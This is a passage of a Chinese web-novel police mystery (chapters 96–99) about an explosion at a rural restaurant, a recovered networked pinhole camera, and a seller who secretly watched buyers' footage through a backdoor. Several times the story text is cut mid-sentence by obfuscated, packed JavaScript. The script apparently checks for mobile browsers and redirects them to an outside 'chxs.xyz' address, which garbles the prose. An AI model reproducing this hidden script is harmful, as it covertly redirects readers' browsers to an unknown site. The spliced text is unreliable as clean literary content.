法医早已准备好垃圾桶，递给程昭，让她出去走廊吐个痛快。 程昭接过垃圾桶，来不及道谢，就飞奔出去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790015|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“噁……噁……”经过一场惊天动地的呕吐，程昭终于感觉舒服一点了。 周立言及时递上矿泉水，让她漱漱口，然后又拿了纸巾给她。 程昭一一接过，仔细整理了一番，然后又去了一趟洗手间，终于重拾清爽。 “真不好意思，让你们见笑了。”程昭不好意思地挠挠头。 朱小莹笑着摆摆手，“大家都这样过来的，不用太在意。” 周立言感叹：“怪不得你不建议我们去看，确实烧得太厉害了。这场火烧了很久？有没有发现助燃剂？” 朱小莹点了点头，然后又摇摇头，苦笑道：“店长他们所在的房间，刚好就是存放烈酒、茶叶的地方。爆炸的冲击力，直接炸开了墙壁，杂物架都倾倒了，地板上都是酒瓶的碎片和茶叶的灰烬。再加上易燃的建筑材料……目击者都说，那一片的火势尤其严重，根本没办法救人。” 程昭：“店长那三个人出现在那个房子，身边都是易燃物，而且同时天然气中毒昏迷，然后遇到爆炸……这一系列未免太巧合了。” 朱小莹：“是啊，我们也有这种感觉。但是这个房间是店长要求这样布置的，说方便他偶尔请朋友来喝茶喝酒。我们还问了已经离职的员工，他们也是这样说的。” 店长自己要求这样布置，还说这样方便他平时招待朋友？ 程昭继续追问：“那员工有看到店长的朋友吗？他经常来客人吗？” 朱小莹：“店里的员工说，偶尔就有人来找店长，前段时间来得比较频繁，不过那些人都是店长亲自接待的。服务员上菜也只需要送到门口，由店长亲自端进去。员工也不确定那些人的长相。” 程昭暗想，看来有必要去现场看看。 程昭查看了一下系统： 【“前段时间，农家乐店长经常有访客”，这个线索在爆炸案、孟飞案、走私案都被标记了关联。 爆炸案这两个神秘的客人，也被系统识别出来了，他们和这三个案件都有关系……他们就是杀害孟飞的凶手，维修厂的老板，张茂和陈山。】 张茂和陈山之前弃店逃跑，调查维修厂的警察都没有找到他们的下落。他们名下有车有船，又提前逃跑，大家都以为他们拿着钱逃出国外了。没想到，他们两人居然死在了郊外的农家乐。 程昭沉吟：“那两个客人，可以提取出指纹吗？可以检验DNA吗？” 朱小莹：“指纹大概率是提取不了了，DNA倒是应该可以验。不过我们还没有拿去验。” 程昭建议：“验一下吧，说不定这两个人在最近的案件里面出现过……我有种这样的预感。” 周立言：“对，验一下吧，我等下就给专案组那边说明情况，让实验室优先检测。孟飞来过这个农家乐几次，这家店说不定有什么古怪。” 朱小莹：“好啊，那就拿去验验。” 大家的行动力都很强，说做就做。法医很快提取了样本，送去了实验室。周立言也和专案组汇报了情况。 等待DNA结果的时间，程昭也不想浪费，她提议去农家乐现场看看。 朱小莹队里的调查刚好处于瓶颈状态，她也想听听其他人对这个案件的看法。于是，她亲自带程昭、周立言前往现场。 96. 摄像头的碎片 一行人来到农家乐现场。 如果不是农家乐的大门，和外面一点的建筑没有被烧毁，程昭很难相信，眼前的建筑和网上看到的是同一个地方。 这家店原本有8座木制小楼，楼房与楼房之间有连廊相连，楼房之间种了很多花草树木，还有几个养了锦鲤的小池子。 现在，这里只剩下2.5座比较完整的小楼，其余的楼房只剩下一些没烧完的大框架。连廊、花草都烧没了，小池子的锦鲤差不多都死了。 一行人继续往里面走。 一眼望去，都是被火烧过的痕迹，地上堆满各种残渣碎片。 火已经扑灭了两三天，但是站在这里，依然可以闻到浓烈的烧焦气味。 走路时不小心踩到木板之类的碎块，鞋底咯吱作响，木块一下子就被踩得粉碎。 这个店占地面积很大，本来外面有一圈围墙，但是部分被烧毁倒塌了，警察在外面围了一圈警戒线。程昭看到，附近有警员在巡逻和站岗。 远处有两个人对着院子里探头探脑，鬼鬼祟祟地，想进来翻残骸捡东西，不过很快就被巡逻的民警制止了。 朱小莹看到这一幕，无奈地耸耸肩，和程昭他们解释：“虽然这个店是农家乐，但是价格并不便宜。他们定位比较高档，吃的用的都是比较贵的。房子和摆设特意仿古做旧，看起来比较接地气，满足客户怀旧和猎奇的心理。 “大火烧完之后，店里的人都去其他地方安置了，有些人就想偷偷进来偷东西……估计已经有些值钱的东西被偷走了。我们发现这种情况之后，加派了人手，轮流看守巡逻。” 程昭和周立言理解地点点头。 程昭忽然想起一个问题，“这个店的老板呢？” 朱小莹：“老板名叫杨曾柔，一年前去A国移民了。她的联络方式好像只有店长知道，以前登记的联络方式已经失效了，我们目前还没有联系到她。” 又是A国。 程昭看了看系统，这个老板也是组织的相关人士，她也确实是去了A国。 …… 朱小莹给的资料里面有一副农家乐的平面图。 农家乐正门进去之后，首先看到的是主楼，它的面积最大，吃饭的大堂就在主楼。 主楼的左边和右边，各有三座副楼，副楼主要是吃饭的包厢、住宿的民宿房间。 主楼的后面有一座副楼，这座副楼是农家乐工作人员的地方，办公室、仓库、厨房、更衣室、值班室等功能房间，都在这座楼里面。厨房就在这座楼的一层。 厨房所在的小楼刚好夹在几座房子的中央，所以爆炸起火之后，很快就波及了其他的房子。 幸亏这家店旁边没有什么建筑，农家乐后方有鱼塘和菜园做隔离带，火势没有漫延到后面的果园和山林。 …… 一行人一边谈话一边跨过废墟，小心翼翼地走到火灾的中心地带，起火地点厨房。 这栋楼的建筑材料主要是木头，只剩下几根大柱子没有完全烧干净。灶台是砖头和不锈钢做的，被炸得变形了。 鉴证人员在现场已经取过证，四处都贴着标记。朱警官之前提到的砂锅粥、香烟之类的线索，在现场还能看到一些痕迹。 程昭一边四处观察一边留意系统的提示，想看看有没有被遗漏的线索。 系统不负所望，真的找到了新线索。在一堆残骸里面，一个已经被烧化变形的黑色塑料碎片，被系统标记了。 她走过去，小心翼翼地翻开残骸，陆续找到了几块塑料碎片、电线、电路芯片、镜头碎片。 【系统显示这些碎片，是“孟飞放置的可联网的针孔摄像头”】。 程昭把碎片递给周立言，“这些会不会是孟飞的针孔摄像头？” 周立言辨认了一下，经过程昭整理和提醒，这些碎片组合起来，好像真的有可能是一个针孔摄像头。 “确实很像，我们回去让技术部帮忙看看。”周立言小心地把碎片放进物证袋。 程昭继续四处查看，拿着一根烧焦的木棍，这里翻翻那里翻翻。 …… 现场毁坏得太严重了，几座小楼简直是豆腐渣工程，两三层的小楼，居然一烧就塌。没烧干净的东西，好像垃圾一样，堆成了一座座小山。 程昭有点怀疑，这里是不是故意建造成容易被烧毁的样子，方便组织的人毁尸灭迹。 【系统确定了程昭的猜测。】 程昭没想到吐槽居然也被系统确认为真，有点哭笑不得，抛开这些想法，继续查找线索。 终于，在一座小垃圾山下面，系统标记了一个被烧坏的打火机。 打火机上面好像印着一个logo和几行小字，程昭辨认了一下，好像是什么温泉酒店。 程昭把打火机拿给周立言和朱小莹看。 朱小莹认出了那个logo，“这个是XX温泉酒店的打火机，这个酒店就在附近的温泉度假村里面。一些游客会在里面泡温泉，然后出来外面的饭店吃饭。有可能是客人带出来的。” 程昭欲言又止，纠结用什么借口去调查那里。 周立言察觉到程昭的犹豫。 他靠近程昭，小声问：“你是想去调查那个温泉酒店吗？” 程昭思考了一下，“我想要查一下打火机的主人。发现打火机的地点，离爆炸区域很近。可惜农家乐这边监控是假的……如果可以拿到温泉酒店和农家乐附近的监控，或者客户名单、支付记录之类的东西，我说不定可以在里面发现一些东西。” 周立言想了想，从酒店那边入手，其实有点大海捞针。不过这个爆炸案说不定和他们在查的几个案件有关系，最好什么线索都不要放过…… 周立言找朱小莹，提出了他们的想法，询问农家乐这边有没有客户名单、支付记录之类的留痕。 朱小莹回忆了一下，“我记得他们有住宿登记。支付相关的记录应该也是有的，不过不一定是全的。这边网络不是太好，很多人会选择用现金……用现金的话，除非是开过发票，否则不一定会有支付人的记录。” 周立言点头，“没事，我们收集起来看看。因为我们有个涉案人士曾经来过这边，我们想查清楚他的动向。” 朱小莹挑眉，这样大海捞针地找线索，需要的人力物力可不少。不过要查的是刑警队他们，只要不把工作推给她们，一切都好说。 朱小莹想了想，“农家乐的记录，我们都可以复制一份给你们。附近的监控录像可以帮你们调过来。但是如果要收集酒店监控和支付记录，可能需要上面审批搜查令才行。 “我们这边只是调查农家乐火灾的案件，单凭一个打火机，我们可能没办法让店家配合。” 周立言理解，微微点头，“温泉酒店那边，由我们来申请吧。麻烦你们帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790016|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙，先把农家乐的相关资料，都传一份给我们。” 虽然爆炸案目前还没有确定和专案组那边调查的案子有关系，但是他们只是想要资料，这种请求并不过分，朱小莹直接就答应了。 火灾现场这边没有其他发现了，一行人离开了农家乐。 回到片区的警局，朱小莹把案件资料都复制了一份，拿给周立言他们。 周立言和程昭谢过朱警官，然后两人先行离开。 他们要回去市局，申请温泉酒店的调查令，调查那堆碎片是不是针孔摄像头，还有催促尸体DNA的对比检测。 …… 程昭和周立言一回来，先去了技术部，找人帮忙看看那一堆碎片。 技术部的人看了这堆东西两眼，也认为这是某种针孔摄像头。不过具体是哪一款，他们需要再查一下。 于是两人把证物留给技术部的人，然后去忙其他事情。 …… 周立言先去找领导，申请温泉酒店相关的调查令，还有跟进实验室那边的DNA检测。 程昭则是拿着爆炸案的资料，寻找里面有没有和之前案件相关的东西。 这个农家乐没有监控，警方无法确定店长的客人是谁，谁在案发时间段来过。 店里不少客人使用现金支付，导致不能通过支付账户确定来访者（而且店长的客人，说不定没有消费）。现有的刷卡、扫码支付等记录，程昭没有看到被系统标记的。 店里的住宿登记，程昭一一看了，没有眼熟的名字，也没有谁的记录被系统标记。 农家乐附近马路的监控不多，而且离农家乐门口有一些距离，在爆炸案里面，只能作为参考的证据。不过程昭不介意这些。 程昭借着有系统作弊，懒得慢慢看监控，悄悄把速度调到最快，飞速地把几个监控录像都过了一遍。 【系统把几个相关的录像画面所对应的时间点，标了出来】。 程昭按系统指示，把第一个视频调到对应的时间，屏幕上显示了张茂和陈山的车子。 程昭继续看另外几个视频时间点，终于有一个画面，刚好拍到了张茂和陈山的脸！还有一个画面，拍到了韩高煊的半张脸（他戴着帽子墨镜）！ 有了明确的怀疑对象，程昭直接打电话给周立言，让他找实验室的人，检验那两具尸体是不是张茂、陈山。 “……这两个人进去店里之后，就没有再出来了。他们开的车，还停在农家乐的停车场里面。” 周立言闻言，也觉得这个可能性很高。他马上联系了DNA检测的实验室，让他们优先检测比对，张茂、陈山的DNA。 …… 周立言回来了，和程昭汇合。 他有点无奈地告诉程昭，“温泉酒店的调查令还没有下来。领导说，等我们有明确的证据，再给我们通过。我们可能要等DNA结果出来，才可以继续申请。” 程昭笑着摇摇头，“没事，等等呗，证据应该很快就有了。” 新线索确实很快就来了，不过是技术部那边发现的线索。 技术部给周立言发了几个信息。 技术部查了那堆碎片，确实了它们属于一款可联网的针孔摄像头。这个设备不久之前他们刚好查过，所以记忆犹新。 孟飞在电脑城购买的，正是这一款。 技术员还在最后附上了卖家的信息。 97. 录像的秘密 碎片属于针孔摄像头，这个情况算是在预料之内。这个镜头是联网的，倒是有点小惊喜。 周立言：“这个镜头是联网的，偷拍的内容有可能被储存到后台服务器。说不定，我们可以看到孟飞想要刺探的秘密。” 周立言想了想，给技术部回复了信息，请求他们安排一位技术员，稍后陪他们一起去电脑城。 技术部同意了。 没多久，技术员李章就过来办公室，找他们汇合。 …… 一行人穿着便服来到电脑城，找到了那个卖摄像头的档口。 远远看过去，这家店和其他的档口没有什么区别，架子上堆满了电子产品，墙上贴着各种设备的广告海报。 店里没有客人，也没有其他店员。老板陈大伟坐在柜台的电脑后面，聚精会神地看着什么东西。 程昭他们几个走进店里，陈大伟匆匆按了几组快捷键，然后笑眯眯地出来迎接他们。 “几位客人，你们想要买什么？我们这里很多牌子的热门型号都有，价格优惠，包你满意。” 陈大伟的注意力，直接色眯眯地落在唯一的女客人身上。女客人的同伴斜跨一步，挡住了他的视线。 周立言几个人都察觉到陈大伟无礼放肆的打量，脸上微沉，表明了自己警察的身份。 档口突然来了警察，他还用眼神冒犯了对方，陈大伟吓得睁大了他的小眼睛。他忍不住后退一步，心虚地偷看了一眼电脑的方向。 陈大伟强自镇定，笑着问：“哎，稀客稀客，都怪我眼神不好，以为看到某个熟人了……” 陈大伟胡话连篇，给自己的冒犯行为打圆场。可惜程昭、周立言他们都不相信他的鬼话。 周立言直接表明了来意，“我们正在调查一宗命案，死者曾经在你们这里买过东西，请你配合我们调查。” 陈大伟干笑着说：“警官，我只是一个在电脑城卖电脑、电子产品的，客户出什么事，也和我无关啊！怎么来找我呢？” “我们有充分的证据证明，孟飞在X月X日X时，在你这里买了两组针孔摄像头。麻烦你……” 陈大伟一听到“针孔摄像头”，便想要夺路而逃。 门口在三个警察的身后。中间是又高又强壮的男警官，右边是瘦弱斯文的男警官，左边是娇小的女警官，陈大伟下意识就选了女警官，作为突破口。 陈大伟冲向程昭，想要一手拨开她。 程昭微微侧身，躲开陈大伟的手，看准时机，一拳打中了他柔软的腹部。 陈大伟感觉他的内脏都被打移位了，但是他不敢在这里停留，咬着牙，继续往前冲。 看到他还不死心，程昭使出必杀技，一个鞭腿，直直地踹中了陈大伟的小弟。 陈大伟一下子定住了，蜷缩成一团倒在地上，好像一只煮熟的大虾。 短短几秒，他的冷汗和眼泪都出来了。 技术员李章被程昭这一手镇住了，“……没想到程警官身手这么好，下手这么果断。” 周立言嘴角微弯，走了过去，“陈大伟，还逃吗？” “呜呜……布套了……” …… 等陈大伟缓了一口气，周立言给他戴上手铐，让他坐在地上。 然后，周立言继续审问他，关于孟飞摄像头的事。 陈大伟哭丧着脸，“警官，东西卖出去，我就不管了！他也没找我要售后啊！他怎么用，是他的事。” 周立言：“这个摄像头是联网的，登录后台是什么？数据存到哪里？” 陈大伟不太想说，但是人在屋檐下不得不低头，不情不愿地报了一个网址。 周立言：“那他的账号呢？” 陈大伟支支吾吾。 周立言继续威逼利诱，“陈大伟，你私下贩卖针孔摄像头，听到我们是警察还要袭警……你要知道，监狱也有不同的监狱，我们可以把你送进环境最差的，慢慢等法院给你定罪。定罪也可能会重判……” 周立言好像闲聊一样，轻描淡写地给大家讲了几桩监狱里面的逸闻轶事，吓得陈大伟面色发白。 陈大伟：“我、我想起来了，我有个本子，记录了设备号和账号……但是密码是用户自己设置的，这个我可不知道。” 程昭按陈大伟的指示，找到了记录册子。 记录上面有写设备的售卖日期。根据日期，程昭找到了孟飞对应的记录。 旁边的李章打开电脑，连接网址，尝试破解账号密码。 陈大伟看着他们尝试，忍不住泼他们冷水，“这个平台的内存很小，统一设置了自动删除3天前的视频，最新的记录会自动覆盖3天前的，即使摄像头关机了，平台删除覆盖也不会停止。这么多天了，很可能都清空了。” 程昭和周立言不约而同地看向陈大伟，若有所思。 李章破解了密码，成功登录了账号。平台里面有三个视频文件，但是都是空的。他研究了一下平台，发现里面有一个功能，可以自动下载文件到本地。 技术员李章说了他的这些发现。 程昭不禁想起，孟飞那个被偷走的电脑。估计他的电脑长期登录平台，自动下载监控视频到本地。 【系统肯定了程昭的推测，把这个想法记录在关联表。】 可惜电脑被张茂他们拿走了，不然她们就可以知道孟飞发现的秘密是什么了。 陈大伟不太老实，他招供好像挤牙膏一样，要一点点地挤……而且这个人前面说过的话，她总觉得有点什么不对劲。 程昭把陈大伟之前说过的，重新捋了一遍，突然发现他刚刚不小心说漏嘴，暴露了他做过的一些事。 这个陈大伟，果然很不老实。 …… 程昭看了看陈大伟，又看了看周立言，发现周立言好像也想到了什么。 周立言和程昭对视一眼，微微一笑，轻轻点了点头，“看来你也发现了一些东西，不知道我们发现的是不是同一个点。” 程昭挑眉，拿出了自己的手机，“来互相发个短信，确认一下？” 周立言笑着点点头。 两人编辑信息，同时发了信息给对方，两人一看，笑了。 周立言：“你先来？” 程昭笑着说：“好啊，那我先说一点，然后你说一点。” 两人微笑交谈的样子，让陈大伟隐隐有种不好的预感。果然，两人轻松的笑容一收，齐齐看向他。 程昭：“陈大伟，你真是不老实啊，看来你是很想去监狱里面，亲身体验一下周队说的逸闻轶事了。” 陈大伟连忙否认：“冤枉啊，警官，该说的我都说了！” 程昭摇头轻叹，“可惜了，你之前已经说漏嘴了。” 陈大伟脸色微变：“你、你说什么？我听不懂。” 程昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806682|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“我们都听到了……你说‘即使摄像头关机了……’，你怎么知道摄像头关机了？” 周立言：“而且你还说‘这么多天了，很可能都清空了’。我们根本没有说案件情况给你听。你怎么会知道关机，还知道时间。” 陈大伟慌了神，嘴巴张张合合，想要把之前的话圆回来，“呃，我有看新闻啊！你们说孟飞嘛！不就是大半个月之前，新闻说的江面浮尸吗！” 程昭轻笑，食指摇了摇，“孟飞死，和摄像头关机，两者之间没有什么关系。你知道摄像头关机了，而且知道它关了三天以上！” 周立言：“说吧，你是不是给自己留了什么后门，可以去偷看别人拍的视频？” 陈大伟冷汗直流。 程昭继续补充：“而且你还说孟飞没有找你售后，你肯定是偷偷看过针孔摄像头的录像，然后发现这个摄像头经常离线断网……事实上，是摄像头被安装在网络不好的地方。如果你没看过视频，怎么会认为设备需要做售后？” 陈大伟招架不住两人的轮流质问，一直往后面靠，最后“咚”的一声，倒在地上。 “怎么这么不小心？我来扶你吧……”周立言笑着走过去，“嗒”的一声，他的一只脚刚好落在陈大伟的两腿之间。 虽然没有被踩，但是陈大伟依然感觉腿间一凉。 陈大伟十分紧张，他那里不能再受一次伤了，万一警官假装不小心踩到他…… 周立言又往前了一步。 “啊，你别过来啊！我说！我说！我电脑！我在平台留了后门，平台的视频会自动下载，我有空的时候会看别人偷拍了什么……” 陈大伟一股脑地招了，再也不敢慢慢“挤牙膏”。 程昭哼了一声，“让你不老实。” 李章忍住笑，把陈大伟的电脑打开。 很明显，在他们来的时候，陈大伟还在偷看别人偷拍的视频。那个视频的摄像头，安装在某个酒店里。 一群人渣败类！ 李章生气地瞪了陈大伟一眼，然后快速找到了孟飞的视频。 李章：“孟飞的视频找到了！陈大伟的电脑里面，还有一堆别人偷拍的视频，文件信息里面有设备记录，应该可以找到对应的购买人。” 周立言点点头，“我们先把他电脑带回警局……后续还要麻烦你们技术部，再安排人过来，检查一下这个店里面，有没有其他的存储备份。看看有没有售卖其他的违禁品。” 李章：“没问题。” …… 经过几番审讯和搜查，陈大伟做的龌龊事都被挖掘出来了，关押在监狱等待审判。 购买针孔摄像头，偷拍别人的买家，也被技术部的人，一一查了出来，等待惩罚。 …… 程昭、周立言拿到了孟飞偷拍的视频。 孟飞买了摄像头没多久，就偷偷拿去农家乐安装了。 这个摄像头偷连了农家乐的电源，用自带的流量卡联网，潜伏在农家乐厨房隔壁的房间，监视了那个房间差不多三个月。 因为摄像头经常离线，拍到的视频，没有他们想象中的多。里面有用的信息，只占了视频总长的极少一部分。 不过那些零星的有用片段里面，包含了很多重要线索。 那个农家乐是KL组织的秘密□□的高层人士偶尔会来这边，和走私、人口贩卖、制药的重要人员开会面谈。 98. 杀人动机 走私、人口贩卖、制药几个案件的主犯都曾经来过开会，不过他们的时间是错开的，他们没有同时出镜。 视频里面，他们都坐在下座，对上座的几个人点头哈腰，态度十分尊敬。 上座的人应该都是组织内部的管理员。 那坐上座的人里面，有两个熟面孔——红狐和韩高煊，他们两个出现的次数最多。有一天的会议，红狐没有出现，只有韩高煊来了。 程昭大概估算了一下时间，那天刚好是她和红狐、韩高煊在网吧外面交火的后一天。 红狐中枪受伤，韩高煊就独自来主持会议……没想到韩高煊在组织里面爬得这么快，红狐这么倚重他。 视频里面还有几个生面孔，程昭把这些人都一一截图，把照片传给技术部，让他们帮忙修复像素。 针孔摄像头经常离线，导致录下的视频并不连贯。 从零碎的片段里面归纳，在几次会议里面，大多数是下面做事的人，向组织的人汇报工作，请示未来的计划。 除了开会，红狐和韩高煊独处的时候，会在房间里面喝茶闲谈。 从两人谈话的内容中，程昭大概了解了一些情况： 组织走私的财货，被藏到几个地方，慢慢洗白流入市场； 因为中枪受伤，红狐身体不太好，留在温泉度假区这边养伤； 红狐养伤期间，放权给韩高煊，让他帮忙处理组织的事务和生意； 组织的总部在南方某个海岛，大boss年纪大了，长年在岛上休养； 红狐私藏了组织的钱财，在外面培养了一些势力； 培养打手的猎豹，最近在国外的行动里面死了，他的势力被军师红狐和财务鲨鱼蚕食，组织的权力正在面临洗牌； 红狐对大boss似乎不太尊敬，似乎想要取而代之…… …… 视频里面的内容，对红狐来说很致命。 这些对话只要泄露出去，红狐恐怕会被组织追杀。 但是说出去，死了只会是红狐势力范围的那些人，对清理KL组织没有太大好处。 警方这边的期望，是把这个犯罪组织连根拔起。 程昭和周立言都认为，这些内容不能轻易泄露出去。他们和专案组的人汇报了案件情况，说明了自己的观点。 专案组负责人听完之后，也觉得这些秘密，不能让太多人知道，“……他们内部不和，对我们来说，是一件好事。内部乱了，我们更容易查到他们。” 程昭：“庞然大物的消亡，很多都是从内部瓦解开始。” “没错，就是这样。” 大家都达成了共识。 偷拍视频的相关信息、红狐意图夺权等发现，要尽量保密，不对外公开。 暂时只有负责调查的人，知道这些情报。 …… 爆炸案送去实验室检验的DNA，结果出来了。 两个不知名客人的尸体，DNA检测与张茂、陈山一致。 爆炸案被转移到专案组，由周立言他们这边开展调查。 侯远山和孙泽林放下了维修厂的追查，赶回市局，和周立言他们汇合。 …… 程昭和周立言讨论，梳理几个事件的时间线： 半年前，孟飞开始出现幻觉。他经常去墓园、寺庙，回程的时候，途经温泉度假村、农家乐，他可能偶然看到了认识的人，然后发现了组织在农家乐的秘密据点。 不知道出于什么目的，他偷偷安装针孔摄像头，打听内部消息。 孟飞一开始买的针孔摄像头是自带内存卡的，所以他需要多次前往农家乐，更换内存卡，导出视频。 后来他去安装了一个可联网的摄像头，减少了前往的次数。 一个半月之前，红狐中枪受伤，在温泉度假村养伤，经常去农家乐和A市做违法生意的手下开会。 差不多一个月前，孟飞被组织的人发现，然后被张茂、陈山杀害。家里的电脑、针孔摄像头、存储卡等设备，都被搜刮带走。 一周前，程昭他们遇到了飞鱼号，查到了维修厂。维修厂的人四散逃跑，不知所踪。 四天前，农家乐爆炸，张茂、陈山、店长等人死亡（系统显示凶手是红狐、韩高煊）。 昨天，程昭他们去电脑城，拿到了摄像头卖家偷偷备份的视频。 “……比较奇怪的是，这个联网的摄像头，似乎一直没有被拆除。它最后录下画面的时间，是爆炸当天的中午。”周立言皱眉，在白板列出时间线。 程昭也在苦思冥想，这个地方不太合理，“张茂、陈山在二十几天前就拿到电脑，即使他们解开密码花了一些时间，也不至于要用这么久吧。只要开了电脑，他们应该就知道那里藏了摄像头。” 周立言：“在这二十几天里面，他们还曾经开过一次会议……” 周立言忽然想起了什么，打开了那天的录像，拉到了张茂他们进入房间，等待开会的场景。 这次播放按了放慢的倍速，方便他们逐帧分析。 来来回回地播放了几遍，程昭他们终于确定了。张茂、陈山在进门和坐下之后，曾经偷偷打量过镜头所在的地方。 周立言：“所以，张茂、陈山应该一早就解开了电脑的锁定，知道了这里有针孔摄像头……这些人虽然是在同一个组织，但是各自心怀鬼胎，各自有各自的小算盘。 “组织约手下的开会，故意错开时间，应该是为了不让他们串联。他们经手的利益很大，足以让这些不法分子抛开组织，私吞所有的钱财。” 程昭也明白了，“他们作恶很大的一个理由，就是为了自己的利益。这个摄像头拍到了组织的隐私，他们也想要利用。” 周立言点头，“估计张茂、陈山隐瞒了孟飞摄像头的事，用其他的东西蒙混过关了。孟飞死了，也没有人和他们对质。” 程昭：“不过红狐和韩高煊对他们起了疑心……可能是在其他地方露出马脚了，然后红狐、韩高煊干脆把他们都杀了。” 周立言点点头，又摇摇头，“他们确实有这个动机，但是目前还没有证据。” 程昭握住拳头，“只要行动过，总会留下痕迹。” 周立言笑着点头。 …… 温泉酒店之前的调查令没有申请下来，但是现在他们已经证明爆炸案和KL组织有千丝万缕的关系。 除了那个打火机碎片，偷拍到的视频内容，也显示红狐曾经长期住在温泉度假村。 爆炸案被转移到刑事三队这边调查，周立言很轻松就拿到了调查令。 ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818556|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 侯远山、孙泽林、乔良、陈丰等人都回来了，一起查这边的案子。 侯远山：“我们真是白跑这么多天了。没想到维修厂最重要的两个人，居然被周队你们找到了。” 周立言：“大鱼固然很重要，但是小鱼小虾也不能放过，那些人都是走私网络里面很重要的一环，肯定做过不少坏事。” “那倒是，这些人真的是坏事做尽……”侯远山和孙泽林齐齐点头，还绘声绘色地给大家讲了维修厂那些人做过的勾当。 人口贩卖、走私商品、洗黑钱、走私古董文物、走私劣质食品……凡是可以赚钱的，他们就偷运，完全不顾后果。 乔良：“这些人坏事做尽，迟早会有报应的。即使天不收他们，我们也会出手。” 大家暗自点头。 “乔叔，你们怎么也回来了？”孙泽林很好奇，乔叔他们在协助查走私案，那边应该还没有完结。 乔良：“走私案那边，现在主要在查周氏。专案组决定，让我们刑事三队都先避一避嫌，以免被人攻讦。” 陈丰郁闷地撇了撇嘴，指手画脚地，给大家讲了那边的情形，“周队和周氏那些人，不是有亲戚关系嘛…… “自从专案组查到问题订单和周立德有关系，抓了他之后，周夫人好像吃错药一样，天天带着律师和保镖过来，骚扰专案组工作。 “我和乔叔本来只是调查谢李金公司那边的走私订单，但是也被周夫人发现了，说我们是周队的手下，查走私案会影响公正” 乔良点头，“我们留在那边，可以做的有限。为了避免落人口实，我们干脆回来了。” 周立言叹了一口气，微微皱眉，“实在不好意思，给大家添麻烦了。” “说这些就见外了，和你又没有什么关系。”乔良摆摆手，让周立言不要放在心上。 “我们现在要做什么？”陈丰看了看爆炸案的资料，感觉里面信息量好大，他的脑子要爆炸了。 周立言沉吟：“在偷拍视频里面，红狐提起过藏钱的地方，但是他用的都是代号……这些事，专案组也有其他人在查，所以我们可以先不管，专注查爆炸案。 “我们先去温泉度假区，查爆炸案的元凶，查红狐、韩高煊的行踪。” 程昭捡到的打火机碎片，离起火中心很近，很可能是有人事先在附近做了一个定时点火装置。 红狐他们之前在温泉度假区住了一段时间，现在大概率是已经离开了，但是也不排除他们胆大包天，借着灯下黑的心理，依然在附近观察警方查案。 警方为了掩人耳目，爆炸案转移的理由只是说，死者里面有正在追查的可疑分子，完全没有提针孔摄像头的事。 考虑到红狐他们可能还没离开，周立言还提前申请了后援，加强那一片的巡逻，随时过来支援他们行动。 …… 温泉度假区有好几个酒店和民宿，程昭他们查案的第一站，选择去打火机上面的酒店——白龙酒店。 看网上的简介，白龙酒店是那附近最好的温泉酒店。除了公用的池子，酒店房间里面还有独立温泉。 这个酒店很注重客人隐私，朱警官他们之前试过去打听信息，但是都被酒店拒绝了。 这次程昭他们拿着调查令，酒店不敢拒绝，只能配合调查。 99. 温泉酒店 程昭他们拿到了白龙酒店的监控，和入住登记记录。 酒店的人看了红狐和韩高煊的照片，前台小姐和门卫认出了他们。 “这两位客人之前住在我们酒店，但是几天前退房了……好像就是附近农家乐爆炸的第二天。” “是的，不过爆炸之后，很多客人都退房了，我们没有太留意。” 程昭：“那他们住哪个房间？搞过卫生了吗？麻烦带我们去看看。” 经理：“我看看，他们之前住在606套房。那边肯定已经搞过卫生了，不过倒是还没有新客人入住。” 经理摇头叹气，在柜台拿了两个卡片，走出柜台，“唉，爆炸火灾也影响了我们生意。我带你们过去吧，你们跟我来……” “好的，麻烦你了。”一行人跟着经理，走过几道走廊，进了电梯。 经理刷了自己的工作卡，按了楼层，然后又递了两个卡片给他们。 经理：“酒店的电梯，需要刷酒店的卡片才可以用。这两个卡是606的房卡，先给你们，方便你们进出。 不过有个事情需要麻烦你们，请你们尽量不要打扰其他客人，我们很注重客人隐私。如果你们需要找人问话，请先和我们联络，让我们先和他们沟通。” 